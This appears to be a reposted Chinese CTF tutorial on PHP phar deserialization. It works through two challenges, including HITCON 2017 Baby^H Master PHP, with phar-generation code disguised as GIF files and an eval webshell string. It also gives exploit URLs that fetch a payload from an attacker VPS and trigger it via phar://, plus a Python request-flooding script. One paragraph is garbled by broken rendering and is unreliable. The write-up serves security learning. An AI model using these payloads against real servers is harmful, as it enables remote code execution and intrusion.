PHP反序列化入门之phar

不念不忘少年蓝@ 2022-10-01 12:56 178阅读 0赞

原文链接：[https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/][https_mochazz.github.io_2019_02_02_PHP_phar]

## phar介绍 ##

> 简单来说`phar`就是`php`压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被 php 访问并执行，与`file://` `php://`等类似，也是一种流包装器。
> 
> `phar`结构由 4 部分组成
> 
>  *  `stub` phar 文件标识，格式为 `xxx<?php xxx; __HALT_COMPILER();?>；`
>  *  `manifest` 压缩文件的属性等信息，以**序列化**存储；
>  *  `contents` 压缩文件的内容；
>  *  `signature` 签名，放在文件末尾；
> 
> 这里有两个关键点，一是文件标识，必须以`__HALT_COMPILER();?>`结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者`pdf`文件来绕过一些上传限制；二是反序列化，`phar`存储的`meta-data`信息以序列化方式存储，当文件操作函数通过`phar://`伪协议解析`phar`文件时就会将数据反序列化，而这样的文件操作函数有很多。

以上内容摘自：[由 PHPGGC 理解 PHP 反序列化漏洞][PHPGGC _ PHP] 。接下来，我们还是通过两个CTF题目来学习phar反序列化的利用。

## 例题一 ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]

这题比较简单，可以直接生成 **phar** 文件，然后利用网站的上传图片功能，结合 **第11行** 的 **file\_exists** 函数进行phar反序列化利用，生成代码如下：

<?php
        // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
        class MyClass{
        
            var $output = '@eval($_GET[_]);';
        }
        $o = new MyClass();
        $filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
        file_exists($filename) ? unlink($filename) : null;
        $phar=new Phar($filename);
        $phar->startBuffering();
        $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($o);
        $phar->addFromString("foo.txt","bar");
        $phar->stopBuffering();
        ?>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]

## 例题二 ##

这题选用 **HITCON2017** 中的 **Baby^H Master PHP 2017** 一题进行学习，题目点 [这里][Link 1] 下载。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]

题目的意思很明确，要我们利用 **Admin** 类的 **\_\_destruct** 方法来获得 **flag** 。但是 **第20行** 的 **$random** 变量我们无法获得，这样也就无法获得 **flag** ，所以我们要通过匿名类的名字来调用 **flag** 生成函数。

我们可以看看 **create\_function** 函数对应的内核源码。（ **php-src/Zend/zend\_builtin\_functions.c:1901** ）

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]

可以看到匿名函数的名字类似于 **\\0lambda\_%d** ，其中 **%d** 为数字，取决于进程中匿名函数的个数，但是我们每访问一次题目，就会生成一个匿名函数，这样匿名函数的名字就不好控制。这里，我们便要引入 **apache-prefork** 模型(默认模型)介绍（关于该模型的介绍，可以参考： [Apache的三种MPM模式比较：prefork，worker，event][Apache_MPM_prefork_worker_event] ）。当用户请求过大时，超过 **apache** 默认设定的阀值时，就会启动新的线程来处理请求，此时在新的线程中，匿名函数的名字又会从1开始递增，这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点，我们很快看到 **第35行** 反序列化了一个可控的  **d a t a ∗ ∗ 变 量 ， 但 是 上 一 行 有 一 个 ∗ ∗ h a s h e q u a l s ∗ ∗ 函 数 进 行 了 数 据 校 验 ， 而 ∗ ∗ data\*\* 变量，但是上一行有一个 \*\*hash\_equals\*\* 函数进行了数据校验，而 \*\* data∗∗变量，但是上一行有一个∗∗hashequals∗∗函数进行了数据校验，而∗∗SECRET** 的值不可知，这就没法利用这一反序列化点。接着我们会看到 **第40行** 有一个上传 **gif** 文件功能，且  **d a t a ∗ ∗ 变 量 可 控 。 那 么 攻 击 思 路 就 是 ， 我 们 先 通 过 将 构 造 好 的 ∗ ∗ p h a r ∗ ∗ 文 件 传 到 服 务 器 上 ， 再 利 用 可 控 的 ∗ ∗ data\*\* 变量可控。那么攻击思路就是，我们先通过将构造好的 \*\*phar\*\* 文件传到服务器上，再利用可控的 \*\* data∗∗变量可控。那么攻击思路就是，我们先通过将构造好的∗∗phar∗∗文件传到服务器上，再利用可控的∗∗\_GET\[“url”\]** 结合 **phar** 协议，进行反序列化。用于生成 **phar** 的代码如下：

<?php
        // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
        class User {
         
            public $avatar; 
            function __construct($path) {
         
                $this->avatar = 'avatar.gif'; 
            } 
        } 
        class Admin extends User {
         }
        $o = new Admin();
        $filename = 'avatar.phar';
        file_exists($filename) ? unlink($filename) : null;
        $phar=new Phar($filename);
        $phar->startBuffering();
        $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($o);
        $phar->addFromString("foo.txt","bar");
        $phar->stopBuffering();
        ?>

将生成的 **avatar.phar** 放在自己的 **VPS** 上并重命名成 **avatar.gif** ，然后将文件上传到题目服务器上：

http://题目IP/index.php?m=upload&url=http://VPS_IP/

接着，我们需要通过大量请求，使 **apache** 重新开启一个新的线程，然后访问如下 **url** 即可完成反序列化并获得 **flag** ：

http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

关于 **phar** 更深的利用，可以参考这篇文章：[Phar与Stream Wrapper造成PHP RCE的深入挖掘][Phar_Stream Wrapper_PHP RCE]

import requests
        import socket
        import time
        from multiprocessing.dummy import Pool as ThreadPool
        try:
            requests.packages.urllib3.disable_warnings()
        except:
            pass
        def run(i):
            while 1:
                HOST = '127.0.0.1'
                PORT = 8000
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((HOST, PORT))
                s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
                # s.close()
                print 'ok'
                time.sleep(0.5)
        i = 8
        pool = ThreadPool( i )
        result = pool.map_async( run, range(i) ).get(0xffff)

[https_mochazz.github.io_2019_02_02_PHP_phar]: https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/
[PHPGGC _ PHP]: https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]: /images/20220118/6fc52f01b2a34a7fb147fdd070188da4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]: /images/20220118/46a55f65d0384641af94c48b3624f108.png
[Link 1]: https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]: /images/20220118/c059a3c34f874fe1b9ca168dcd3dd203.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]: /images/20220118/f8b65a0ed3b6464585362923447a0422.png
[Apache_MPM_prefork_worker_event]: http://blog.jobbole.com/91920/
[Phar_Stream Wrapper_PHP RCE]: https://blog.zsxsoft.com/post/38